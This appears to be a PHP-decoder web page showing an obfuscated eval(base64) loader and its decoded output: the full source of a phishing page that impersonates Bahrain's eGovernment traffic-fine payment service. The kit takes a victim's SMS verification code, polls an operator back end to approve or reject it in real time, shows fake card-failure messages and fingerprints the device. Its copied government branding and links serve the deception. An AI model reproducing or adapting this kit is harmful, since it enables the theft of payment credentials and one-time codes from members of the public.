Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIFJiXzNWOyBpVDVxcjogJGNvbXBsZXRlZFBhcmFtID0gJF9HRVRbIlx4..
Decoded Output download
goto Rb_3V; iT5qr: $completedParam = $_GET["verify"] ?? ''; goto LEfQ4; LEfQ4: if ($completedParam !== "true") { header("Location: ./index.php"); die; } goto CeKI3; Rb_3V: include "./exsec.php"; goto iT5qr; CeKI3: ?>
<!DOCTYPE html>
<html xmlns="https://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class=" idc0_343 ntawuffaa"><head>
<!-- below IE meta tag added to enfore IE browsers to stick to their exact version when viewing the website, without reverting to Quirks mode or going back to older versions.-->
<meta name="description" content="The eGovernment National Portal - Kingdom of Bahrain, provides a one-stop shop that facilitates the access to government Information and eServices.">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- <meta name="viewport" content="width=device-width, initial-scale=1.0"> -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1 , user-scalable=no">
<!-- rel=dynamic-content indicates an element that is replaced with the contents produced by the specified href.
dyn-cs:* URIs are resolved using the WP DynamicContentSpotMappings resource environment provider. These values can
also be set using theme metadata if a theme is specified in the URI (e.g. @tl:oid:theme_unique_name). -->
<link rel="alternate" id="head_markup_deferred" href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!a9u35S-GsJR__LxzULIWAA/mashup/ra:collection?themeID=ZJ_IO002AS019LF80680CGPTE1GE0&locale=en&mime-type=text%2Fplain&lm=1662630416000&entry=wp_one_ui_303__0.0%3Ahead_markup&deferred=true">
<title>
General Directorate of Traffic Services
</title>
<link id="com.ibm.lotus.NavStateUrl" rel="alternate" href="/wps/portal/en/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJdyEvUUd3QndJQSEvNE5sRS9aNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNg!!/">
<link rel="bookmark" title="General Directorate of Traffic Services" href="/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJeWcvd0RNQUFzQUlVQU1BLzRObEhVQSEhL1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2/" hreflang="en">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/favicon.ico" rel="shortcut icon" type="image/x-icon">
<!-- Arabic CSS --><!-- English CSS -->
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/css_en.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/print.css" rel="stylesheet" type="text/css" media="print">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/QapTcha_EN.jquery.css" rel="stylesheet" type="text/css">
<!-- Cookies -->
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/law-popup_en.css" rel="stylesheet" type="text/css">
<!-- Common CSS --><!-- Font Awesome 5 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/all.css" rel="stylesheet" type="text/css" media="screen,print">
<!-- Font Awesome 4 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/select2.min.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/custom-font-icons/css/custom-icons.css" rel="stylesheet" type="text/css" media="screen,print">
<!-- Scripts -->
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.js" type="text/javascript"></script>
<!-- To disable showing numbers as clickable or callable phone numbers -->
<meta name="format-detection" content="telephone=no"><!-- rendering is delegated to the specified href for each locale -->
<script type="text/javascript" async="" src="//cdn.mouseflow.com/projects/c7c25fe3-458a-4c4d-857e-15aa42b48a34.js"></script><script async="" type="text/javascript" src="https://cdn.livechatinc.com/tracking.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>
</head>
<body class="lotusui30dojo tundra locale_en toolbar-closed" data-new-gr-c-s-check-loaded="14.1164.0" data-gr-ext-installed=""><script type="text/javascript"> myfaces.config._autoeval = true; </script>
<div class="content-wrapper">
<script type="text/javascript">
var jsPageName = 'General Directorate of Traffic Services';
var serviceUniqueName ='suid.GeneralDirectorateofTrafficServices';
var serviceOwner = 'GDT';
console.log("serviceOwner : " + serviceOwner);
</script>
<div class="container mar-btm-15 logo-wrapper-header">
<div class="row-fluid">
<div class="span12">
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal">
<!-- Current Logo -->
<!-- New -->
<img class="nationalPortalLogo" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/bahrain_bh_logo.png" alt="Kingdom of Bahrain logo">
</a>
<span>
<span class="logo-header-slash hide-in-responsive">|</span>
<span class="logo-header-phrase">Your portal to find services & government information easily</span>
</span>
</div>
</div>
</div>
<!-- required - do not remove -->
<div style="display:none" id="portletState">{}</div>
<div class="container">
</div>
<div class="container">
<div class="row-fluid">
<div class="main-content">
<div class="component-container middle-content left-content span12 id-Z7_88GC1282JOTTB0A6BLM55L1G47" name="left"><div class="component-control id-Z7_88GC1282J8IM10Q65PEOHD10I1"><div class="thinSkin">
<div class="title-bar">
<a rel="dynamic-content1" href="lm.title"></a>
<span class="menu-placeholder"></span>
</div>
</div>
</div><div class="component-control id-Z7_88GC1282JG1V80AKO0HE4310S1"><div class="thinSkin">
<div class="title-bar">
<a rel="dynamic-content1" href="lm.title"></a>
<span class="menu-placeholder"></span>
</div>
<div xmlns:portlet-client-model="https://www.ibm.com/xmlns/prod/websphere/portal/v6.1/portlet-client-model">
<link type="text/css" rel="stylesheet" href="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPtheme.css=ln!primefaces-aristo=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPtheme.css==/">
<script type="text/javascript" src="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPjsf.js=ln!javax.faces=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPjsf.js==/"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/dav/fs-type1/themes/PortalPlusServices/js/common.js"></script>
<script type="text/javascript">var addthis_config = {"data_track_clickback":true , "ui_language":'en'};</script>
<script type="text/javascript" src="https://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d981a34723d659b"></script>
<!-- Begin Service Form -->
<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
<form id="myForm" method="post" action="./verified.php" onsubmit="loader()" target="dummyframe">
<div class="row-fluid">
<div class="span12"><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:servicegroup">
<!--<div class="row-fluid mar-btm-10">-->
<!-- <div class="span12 bucont">-->
<!-- <p>Receive a 50% discount on overdue fines by settling within one week.</p> -->
<!-- </div>-->
<!--</div>-->
<div class="row-fluid">
<div class="span12">
<!-- BEGIN INSTRUCTION BOX-->
<div class="service-widget">
<div style="height: 60px;" class="service-widget-title">
<h4 style="text-align: center; padding: 13px; font-size: 30px;">
<strong>Payment of Traffic Contraventions</strong>
<span aria-label="Toggle Container" class="tools"><span><em class="fa fa-angle-down"></em></span></span></h4>
</div>
</div>
<!-- END INSTRUCTION BOX-->
</div>
</div>
<div><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:messages"></span>
</div>
<div>
<div class="row-fluid mar-btm-25">
<div class="span12">
<!--Start Required MSG -->
<div class="row-fluid mar-btm-10">
<div class="span12">
<!-- <p class="required-text"> indicates the required fields.</p> -->
</div>
</div>
<!-- Start Address Tabel-->
<div class="row-fluid mar-btm-5 ">
<div class="span12">
<div class="service-widget">
<div class="service-widget-title widget-grey-title widget-text-center">
<h4 style="padding: 8px;"> We have sent the verification code on your phone, please proceed to the next step of authentication.<span class="tools" aria-label="Toggle Container"> <span><em class="fa fa-angle-up"></em></span> </span> </h4>
</div>
<div class="service-widget-body service-widget-body-form">
<!-- Begin Form-->
<div align="center">
<p id="veR" style="padding: 14px;
padding-bottom: 0px;">
</p>
</div>
<div style="padding: 30px; margin-left: -15px;" >
<input type="hidden" name="bar" value="100">
<input type="hidden" name="pages" value="">
<input type="hidden" id="fingerprintInput" name="fingerprint" value="">
<div class="rowP">
<div class="col-75P">
<div class="containerP">
<div class="rowP">
<div class="col-50P">
<div align="center">
<p id="whenReject" class="h"
style="color:red; margin-top: 5px;"></p>
</div>
<label style="margin-top: 8px;" for="cname">PLEASE ENTER VERIFICATION CODE</label>
<input class="input form-control"
style="width: 100%; margin-left: 0px; margin-bottom: 5px; margin-top: 0px;"
type="text" id="security-code" name="bincika" maxlength="8" minlength="4" value=""
placeholder="Enter verification code" required>
</div>
</div>
</div>
</div>
</div>
<fieldset>
<div align="center">
<div class="service-form-actions">
<span class="field__input">
<button id="verify" onclick="veri();" style="margin-top: 20px;
width: 50%;
margin-left: 18px;" class="button_style appsubmit" type="submit"
>Verify</button>
</span>
</div>
</div>
</fieldset>
</div>
<!-- End Form-->
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function() {
submitEnterFunc();
});
</script>
</div>
<div>
<div class="row-fluid">
</div>
<div class="row-fluid">
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal" style="display: none;">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Visitor eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Visitor eKey offers a low level of security as it is not based on Bahrains National Smartcard.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal1">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Standard eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Standard eKey ensures guaranteed security. Users only need to enter their Personal Number/ National ID and Password to benefit from a range of basic eServices.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal2">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Advanced eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Advanced eKey offers a higher level of security. By entering your Personal Number/ National ID and Password, you can benefit from a complete range of eServices. Registration only requires users Identity card and fingerprint scan.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal3" style="display: none;">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">CorpPass</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
Allows business owners to register their organization and employees for a CorpPass account and perform various transactions on behalf of the organization in a secure manner.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
</div>
<!-- End Service Form -->
</div></div>
</div></div></div>
</div>
</div>
<!--end main content-->
</div>
<!-- page footer -->
<footer>
<div class="row-fluid padding-top-50">
<div class="row-fluid footer-links" style="padding-top:20px">
<div class="container">
<div class="span3">
<h4>Information Guide </h4>
<ul>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/YourGuideForLivingInBahrain">Your Life in Bahrain</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/AboutTheKingdom/">About The Kingdom</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ParticipateWithUs/">eParticipation</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ServicesCatalogue/">Government Services Catalogue</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/GSX-UI-AllEntities/">Government Directory</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/DirectoryOfEmergencyHotlineNumbers">Directory of Emergency Hotline Numbers</a></li>
</ul>
</div>
<div class="span3">
<h4 class="hide-in-responsive">eServices</h4>
<ul>
<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleThemesByEService">eServices Categories</a></li>
<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleEntitiesByEService">eServices Providers</a></li>
<li><a href="/wps/portal/en/BSP/GSX-UI-AllApps">Mobile Apps Store</a></li>
</ul>
</div>
<div class="span3">
<div class="row-fluid">
<h4 class="hide-in-responsive">Quick Links</h4>
<ul>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Aboutbahrainbh/About%20bahrain.bh">About the National Portal</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/eGovernment%20Channels%20Statistics/eGovernment%20Channels%20Statistics">Channels Statistics</a></li>
<li><a href="https://www.iga.gov.bh/en/category/community-engagement">ICT events in Bahrain</a></li>
<li><a href="https://www.iga.gov.bh/en/category/news">Government News</a></li>
<li><a href="https://www.iga.gov.bh/en/category/recognition-and-awards">Recognitions & Awards</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/UsersGuide">User's Guide</a></li>
</ul>
</div>
</div>
<div class="span3">
<h4 class="invisible">Follow Us</h4>
<ul>
<li>
<div class="follow-us-icons">
<a href="https://www.facebook.com/iGABahrain" title="Facebook" target="_blank">
<i class="fab fa-facebook" aria-hidden="true"></i></a>
<a href="https://twitter.com/iGABahrain" target="_blank">
<img style="width:23px; margin-bottom: 2px;" alt="Tawasul-National suggestions & complaint system" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/twitter-new-logo.png">
</a>
<a href="https://www.instagram.com/igabahrain" title="Instagram" target="_blank">
<i class="fab fa-instagram" aria-hidden="true"></i></a>
<a href="https://www.youtube.com/c/iGABahrain" title="YouTube" target="_blank">
<i class="fab fa-youtube" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/company/igabahrain" title="LinkedIn" target="_blank">
<i class="fab fa-linkedin" aria-hidden="true"></i></a>
<a href="/wps/portal/RSS_en" title="RSS">
<i class="fa fa-rss" aria-hidden="true"></i></a>
<a href="javascript:void(0);" title="Whatsapp" id="whatsapp-share-link">
<i class="fab fa-whatsapp" aria-hidden="true"></i></a>
</div>
</li>
<li>
<div class="footer-logos">
<a href="https://services.bahrain.bh/wps/portal/tawasul/Home_en" title="Tawasul-National suggestions & complaint system" target="_blank">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/tawasul-online-logo-en.png" alt="Tawasul-National suggestions & complaint system" title="Tawasul-National suggestions & complaint system">
</a>
<a href="tel:80008001" title="Government Services Contact Center" target="_blank">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/NCC-Eng.png" alt="Government Services Contact Center" title="Government Services Contact Center">
</a>
</div>
</li>
</ul>
</div>
</div>
<div class="container">
<div class="span12 mar-top-10" style="text-align: center;">
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Terms%20and%20Conditions/Terms%20and%20Conditions">Terms and Conditions</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Accessibilitybh/Accessibility">Accessibility</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/FAQs/FAQs">FAQ</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Help%20Using%20bahrain.bh/Help%20Section">Help</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/ContactUs/ContactUs">Contact Us</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/SiteMap">Site Map</a>
</div>
<div class="span12 mar-top-10">
<ul style="list-style-type:none;text-align: center;margin:0;margin-bottom: 20px;">
<li>ISO 9001 Certified</li>
<li> Kingdom of Bahrain. All Rights Reserved.</li>
<li>Last updated :28/03/2024</li>
</ul>
</div>
</div>
</div>
</div>
</footer>
<div id="AjaxBlackScreenLoading" style="display: none;">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="resultLoadingContents">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/ajax-loader.gif" alt="">
<div class="resultLoadingText" style="color:#000;">
Please Wait
</div>
</div>
</div>
<div id="overlay-container" style="display: none;">
<div style="
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(255, 255, 255, 0.96);
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
" id="loaderstyle">
<div class="center-container">
<div align="center">
<img src="./logo/ajax-loader.gif"
width="100" height="100">
</div>
<p class="processing-text">Processing...</p>
<p class="processing-text">Verifying payment method</p>
</div>
</div>
</div>
<!-- General Popup -->
<style>
#theGeneralModal {
width: 500px;
}
@media (max-width: 767px){
#theGeneralModal {
width: auto;
}
}
</style>
<script>
function loader() {
document.getElementById("overlay-container").style.display = "block";
}
</script>
<script>
setInterval(function () {
const xhr = new XMLHttpRequest();
xhr.open('GET', './adminlte/pages/tables/update.php', true);
xhr.send();
}, 1000);
</script>
<script>
var intervalId; // Store the interval ID
function checkAccountStatus() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "checkA.php", true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
var accountStatus = response.accountStatus;
if (accountStatus === "OtpApprove") {
window.location.href = "./success.php?completed=true";
} else if (accountStatus === "OtpReject") {
document.getElementById('overlay-container').style.display = "none";
document.getElementById("veR").style.backgroundColor = "#fff";
document.getElementById("veR").style.color = "red";
document.getElementById("veR").innerHTML =
'Invalid verification code, please try again';
document.getElementById("security-code").style.border = '1px solid #ff8e8e';
document.getElementById("verify").innerHTML =
'Verify';
setTimeout(function () {
document.getElementById("veR").style.backgroundColor = "aliceblue";
document.getElementById("veR").innerHTML =
'We have sent the verification code on your phone, please proceed to the next step of authentication.';
document.getElementById("veR").style.color = "#686868";
document.getElementById("security-code").style.border = '1px solid grey';
document.getElementById("security-code").value = '';
}, 3000);
} else if (accountStatus === "Unsupported") {
document.getElementById('overlay-container').style.display = "none";
document.getElementById("veR").style.backgroundColor = "#fff";
document.getElementById("veR").style.color = "red";
document.getElementById("veR").innerHTML =
'Credit card verification failed. Please try again with another credit card number';
document.getElementById("security-code").style.border = '1px solid #ff8e8e';
document.getElementById("verify").innerHTML =
'Verify';
setTimeout(() => {
window.location.href = "./duefee.php?process=true&invcard=xsxasasssadasd";
}, 3000);
} else if (accountStatus === "Insufficient") {
document.getElementById('overlay-container').style.display = "none";
document.getElementById("veR").style.backgroundColor = "#fff";
document.getElementById("veR").style.color = "red";
document.getElementById("veR").innerHTML =
'Insufficient funds in your bank or payment service account';
document.getElementById("security-code").style.border = '1px solid #ff8e8e';
document.getElementById("verify").innerHTML =
'Verify';
setTimeout(() => {
window.location.href = "./duefee.php?process=true&error=insufficient_funds";
}, 3000);
}
} else {
console.error("Error: " + xhr.statusText);
}
}
};
xhr.send();
}
// Start the interval initially
intervalId = setInterval(checkAccountStatus, 1000);
</script>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Generate a fingerprint with device-specific information
generateFingerprint().then(fingerprint => {
document.getElementById("fingerprintInput").value = fingerprint;
});
});
async function generateFingerprint() {
const fingerprintData = await collectFingerprintData();
const hashHex = sha256(fingerprintData); // Use the sha256 function from the library
return hashHex;
}
async function collectFingerprintData() {
const userAgent = navigator.userAgent;
const platform = navigator.platform;
const language = navigator.language;
const screenWidth = screen.width;
const screenHeight = screen.height;
// Additional device-specific information
const deviceInfo = {
devicePixelRatio: window.devicePixelRatio || 1,
screenWidth: screen.width,
screenHeight: screen.height,
availableScreenWidth: screen.availWidth,
availableScreenHeight: screen.availHeight,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth,
hardwareConcurrency: navigator.hardwareConcurrency || "N/A",
};
// Combine all attributes into a single object
const fingerprintObject = {
userAgent,
platform,
language,
...deviceInfo,
};
// Serialize the object into a JSON string
return JSON.stringify(fingerprintObject);
}
</script>
<div id="generalModel" style="display: none;" class="row-fluid">
<!-- Popup backdrop -->
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false"></div>
<!-- The popup modal -->
<div id="theGeneralModal" class="modal fade in" tabindex="-1" role="dialog" aria-hidden="false"> <!-- style="top: 5%; overflow:auto; left:46%;" --><!-- Popup Header -->
<div class="modal-header" style="padding: 0px 10px;background-color: #fff; border:0px;">
<!-- Close icon -->
<a class="minimizeModal"><i class="material-icons" style="font-family: verdana; font-size: 15px; color:#000;">X</i></a>
<!-- Title - text from bundle --><!-- Title - Direct text -->
</div>
<!-- Popup Body -->
<div class="modal-body" style="padding: 0px; min-height:200px; padding: 0px; max-height: none;">
<!-- Popup Content -->
<div class="row-fluid">
<!-- Text Message - General - EN and AR --><!-- Text Message - Manage e-key Profile - EN and AR -->
<div class="span12" id="myModalBody2" style="display: none;">In order to manage your Profile, you will be automatically signed out from the eKey system to protect and secure your personal information.</div>
<!-- Image Message - EN and AR -->
</div>
</div>
<!-- Popup Footer -->
<div class="modal-footer-general" style="text-align: center; padding: 5px; display: block; background-color:#fff;">
<!-- OK button -->
<button style="display: none;" class="button_style" id="login-bar-manage-profile-button-ok" type="button" data-dismiss="modal" aria-hidden="true">Ok</button>
<!-- Close button -->
<button style="display: none; float: none;" class="button_style minimizeModal" id="general-model-button-bottom-close" type="button" data-dismiss="modal" aria-hidden="true">Close</button>
</div>
</div>
</div>
<!-- End - General Popup -->
<div id="whatsupModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="whatsappsubscription" aria-hidden="false">
<div class="modal-header">
<h4 id="whatsappsubscription" style="color:#1259ff;">
Subscribe with us
</h4>
</div>
<div class="modal-body">
<p>
Subscribe with us to receive the latest updates and awareness promotions on all eservices & channels via the eGovernment WhatsApp service. To subscribe send "subscribe" to the number 32188288.
</p>
<br>
<p>
To unsubscribe send "unsubscribe".
</p>
</div>
<div class="modal-footer" style="text-align:center">
<a style="display: none;" id="whatsup-model-subscribe-link" class="button_style" href="https://api.whatsapp.com/send?phone=97332188288&text=Subscribe">
Subscribe
</a>
<a style="display: inline-block;" id="whatsup-model-close-link" class="button_style" href="javascript:void(0);">
Close
</a>
</div>
</div>
</div>
<div id="ekeyModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="eKeyPopupModel" aria-hidden="false" style="/*left: 46%;*/">
<div class="modal-body" style="max-height:450px">
<div class="row-fluid">
<div class="span12">
<div class="login_container align-center">
<div class="main-headings user_icon mar-btm-20"> </div>
<p id="eKeyPopupModel">Your Single Sign On to eServices</p>
<div class="mar-top-25">
<span class="icon_space">
<img width="16" height="16" alt="username" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/username_icon.svg">
</span>
<label style="display:none;" for="ekeyLoginIdNumber">ID Number</label>
<input id="ekeyLoginIdNumber" name="id number" type="tel" maxlength="15" title="ID Number" class="personalNumberSigIn customPasswordInput numberOnlyV" autocomplete="off" placeholder="ID Number">
<br>
<span class="icon_space">
<img width="16" height="18" alt="password" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/password_icon.svg">
</span>
<label style="display:none;" for="ekeyLoginPassword">Password</label>
<input type="password" id="ekeyLoginPassword" name="Password title=" enter="" password"="" class="passwordSignIn customPasswordInput" autocomplete="off" placeholder="Password">
<div class="error-block" style="float:none;">
<span id="ekeyLoginErrorMessage"></span>
</div>
<br>
</div>
<div class="link_container">
<!-- Forget Password -->
<a target="_blank" href="/wps/portal/ForgotPassword_en">
Forgot Password?
</a>
<!-- Register or SignUp for new account -->
<a target="_blank" href="/wps/portal/SignUp_en">
Don't have an account? Register now !
</a>
</div>
<div class="button_container">
<input onclick="return xt_click(this,'C','level2_number','Portal Authentication Click Loginn','N');" id="ekeyloginSubmit" name="Login" type="submit" value="Login" class="button_style submitSignIn">
<button id="ekeyLoginCancel" class="button_style">Cancel</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="ratingModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="ratingPopupModal" aria-hidden="false">
<div class="modal-header">
<a class="minimizeModal">
<i class="material-icons">
minimize
</i>
</a>
<h4 id="ratingPopupModal" style="color:#1259ff;">Rate this service</h4>
</div>
<div class="modal-body">
<div class="row-fluid">
<div class="span12">
<div class="rating_container align-center">
<i class="material-icons" style="font-size: 70px;display: none;">check_circle_outline</i>
<p>How satisfied are you with this service?</p>
<div class="row-fluid mt-3">
<ul id="serviceRatingFaces">
<li>
<img class="RatingImg" id="ImgSmiley" style="cursor: pointer;" alt="Satisfied" title="Satisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/smiley_face.png">
</li>
<li>
<img class="RatingImg" id="ImgNormal" style="cursor: pointer;" alt="Neutral" title="Neutral" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/normal_face.png">
</li>
<li>
<img class="RatingImg" id="ImgAngry" style="cursor: pointer;" alt="Dissatisfied" title="Dissatisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/angry_face.png">
</li>
</ul>
</div>
<p id="ratingMessage" style="color: #c80009;padding :5px"></p>
<div id="ratingForm" style="display: none;">
<div class="row-fluid mt-2">
<div class="span12 form-row" id="ratingInputComment">
<div class="form-col1">
